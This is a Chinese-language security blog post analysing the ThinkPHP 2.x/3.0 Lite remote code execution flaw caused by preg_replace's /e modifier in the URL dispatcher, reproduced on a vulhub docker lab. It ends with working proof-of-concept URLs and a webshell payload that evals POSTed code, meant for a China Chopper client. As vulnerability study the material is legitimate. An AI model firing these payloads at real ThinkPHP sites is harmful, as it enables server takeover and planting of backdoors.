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    i春秋-核心白帽

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    发表于 2019-12-17 17:36:12 13013

    ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。斗哥将带来ThinkPHP各个版本的漏洞分析文章,此为第一篇从TP最早的版本开始分析。

    0x00 漏洞描述

    在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

    $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

    导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

    ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

    所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:

    preg_replace('正则规则','替换字符','目标字符')

    这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

    下面是搜索到的关于/e的解释:

    e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;  
    /e 可执行模式,此为PHP专有参数,例如preg_replace函数。

    本地测试直接使用下面这行代码测试即可,可使用在线PHP沙箱来测试。

    沙箱地址:http://sandbox.onlinephpfunctions.com/

    <?php
    @preg_replace('/test/e','print_r("AAA");','just test');

    这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。

    0x01 环境搭建与漏洞复现

    斗哥选择了vunhub的docker靶场进行环境搭建,执行如下命令启动ThinkPHP 2.1的Demo应用:

    docker-compose up -d

    访问http://10.10.10.199:8080/index.php?s=/index/index/xxx/${@phpinfo()}

    0x02 分析学习

    从漏洞挖掘的角度,如果采用的是关键函数查找的方式,应该是先搜索preg_replace这个函数,发现使用了这个函数之后,在查看是否使用/e修饰符,然后查看是否存在可控参数,如果存在,在分析是否可以传参利用。

    docker ps
    docker exec -it <Container ID> /bin/bash
    cd /var/www/html
    find . -name '*.php' | xargs grep -n 'preg_replace'

    存在preg_replace函数的脚本:

    ./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
    ./ThinkPHP/Mode/Lite/Dispatcher.class.php
    ./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
    ./ThinkPHP/Lib/Think/Template/TagLib.class.php
    ./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
    ./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
    ./ThinkPHP/Common/extend.php
    ./ThinkPHP/Common/functions.php

    存在/e修饰符的脚本:

    ./ThinkPHP/Mode/Lite/Dispatcher.class.php:115:            $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);
    
    ./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);
    ./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);
    ./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60:                $rule  = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);
    ./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61:                $rule  = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);
    ./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68:                $rule  = preg_replace('/{|(\w+)}/e',"\\1()",$rule);
    
    ./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
    ./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));
    ./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));
    
    ./ThinkPHP/Common/extend.php:215:        $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);
    
    ./ThinkPHP/Common/functions.php:145:        return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));

    根据漏洞描述,有漏洞的代码位置在:

    ./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

    根据代码注释,了解到这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。

    在我看来,thinkphp 应该也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。

    类名为`Dispatcher`,class Dispatcher extends Think
    里面的方法有:
    static public function dispatch() URL映射到控制器
    public static function getPathInfo()  获得服务器的PATH_INFO信息
    static public function routerCheck() 路由检测
    static private function parseUrl($route)
    static private function getModule($var) 获得实际的模块名称
    static private function getGroup($var) 获得实际的分组名称

    有漏洞的代码位置在static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。

    参考文章:https://www.cnblogs.com/TigerYangWTH/p/5792286.html 得到:

    • thinkphp 所有的主入口文件默认访问index控制器(模块)
    • thinkphp 所有的控制器默认执行index动作(方法)

    参考文章:https://www.kancloud.cn/manual/thinkphp5_1/353955 得到:URL访问规则:

    ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
    http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
    
    如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
    http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
    

    漏洞所在关键代码块

    // 分析PATHINFO信息
    self::getPathInfo();
    
    if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
        $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
        $var  =  array();
        if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
            $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
            if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
                // 禁止直接访问分组
                exit;
            }
        }
        if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
            $var[C('VAR_MODULE')]  =   array_shift($paths);
        }
        $var[C('VAR_ACTION')]  =   array_shift($paths);
        // 解析剩余的URL参数
        $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
        $_GET   =  array_merge($var,$_GET);
    }
    if(!self::routerCheck())

    首先是没有路由规则,所以函数按照默认规则调度URL。

    先看到 $var[\'\\1\']="\\2"; ,而$var是一个array。

    根据文章:https://www.bbsmax.com/A/l1dyr8E6ze/ ,https://521-wf.com/archives/45.html
    学习得到的姿势:

    代码1:注意看当前的变量a 值为字符串,且该字符串本脚本没有相同的函数名。

    <?php
    function test($str)
    {
        echo "This func is run  $str .";
    }
    
    $a='GoodGoodStudy';
    $b='[bbbaaahelloworldaaabbb]';
    
    echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
    
    运行结果:
    [bbbGoodGoodStudybbb]

    代码2:注意看当前的变量a 值为test()

    <?php
    function test($str)
    {
        echo "This func is run  $str .";
    }
    
    $a='test()';
    $b='[bbbaaahelloworldaaabbb]';
    
    echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
    
    运行结果:
    This func is run   .[bbbbbb]

    可以发现执行了test()这个函数,但是并没有传递参数进去。

    代码3:注意看当前的变量a 值为test("\1")

    <?php
    function test($str)
    {
        echo "This func is run  $str .";
    }
    
    $a='test("\1")';
    $b='[bbbaaahelloworldaaabbb]';
    
    echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
    
    运行结果:
    This func is run  helloworld .[bbbbbb]

    可以发现执行了test()这个函数,我们表面传递的参数是"\1",结果表明参数确实传递进去了,但是本例传进去的是helloworldhelloworld是经过preg_replace()函数匹配要替换掉的原本那部分,现在转而成了参数进行传递了。

    那我们假设现在$b的值是可控的,用户可以传参控制。

    代码4:控制$b传递一个已知变量$c

    <?php
    function test($str)
    {
        echo "This func is run  $str .";
    }
    
    $a='test("\1")';
    $b='aaa$caaa';
    $c="CXK";
    
    echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
    
    运行结果:
    This func is run  CXK .

    基于这个结果,在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行,具体例子我们可以参考如下这个例子。

    代码5:

    <?php
    
    echo phpversion();
    echo "\n";
    
    $a = "CXK";
    
    echo "aaaaa{${a}}aaaaaa";
    echo "\n";
    
    echo "aaaaa${phpversion()}aaaaaa";
    
    运行结果:
    5.6.19
    aaaaaCXKaaaaaa
    Notice:  Undefined variable: 5.6.19 in <b>[...][...] on line 11
    aaaaaaaaaaa

    可以看到,因为没有一个变量名为5.6.19所以报错了,但是代码却执行了,是不是有点像报错注入的感觉?

    回到ThinkPHP的代码中来,可控的位置为implode($depr,$paths)implode()是将数组转成字符串,而'$var[\'\\1\']="\\2";'是对一个数组做操作。

    来分析一下正则(\w+)\/([^/]+),这个正则的意思是取路径的每2个参数。

    代码:

    <?php
    $var = array();
    $a='$var[\'\\1\']="\\2";';
    $b='a/b/c/d/e/f';
    preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);
    
    print_r($var);
    
    运行结果:
    Array
    (
        [a] => b
        [c] => d
        [e] => f
    )
    

    通过上面的代码,更加清晰的是取出每2个参数,然后第一个参数作为数组的键,第二个参数作为数组的值,那么在这个过程当中,上述例子如果$b可控,同样会发生代码执行。

    代码:此时$b采用的是双引号闭合的,注意如果采用单引号则不会有代码执行。

    <?php
    $var = array();
    $a='$var[\'\\1\']="\\2";';
    $b="a/{${phpversion()}}/c/d/e/f";
    preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);
    
    print_r($var);
    运行结果:
    Notice:  Undefined variable: 5.4.6 in [...][...]on line 5
    Array
    (
        [c] => d
        [e] => f
    )

    需要说明的是,代码执行的位置,必须是数组的值的位置而不是键的位置。

    然后在回到ThinkPHP的代码中来

    if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
        $var[C('VAR_MODULE')]  =   array_shift($paths);
    }
    $var[C('VAR_ACTION')]  =   array_shift($paths);
    // 解析剩余的URL参数
    
    $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
    $_GET   =  array_merge($var,$_GET);

    数组$var在路径存在模块和动作时,会去除掉前2个值。而数组$var来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路径。

    所以我们可以构造poc如下:

    /index.php?s=a/b/c/${phpinfo()}
    /index.php?s=a/b/c/${phpinfo()}/c/d/e/f
    /index.php?s=a/b/c/d/e/${phpinfo()}
    ......

    下面给出一个能够直接菜刀连接的payload:

    /index.php?s=a/b/c/${@print(eval($_POST[1]))}

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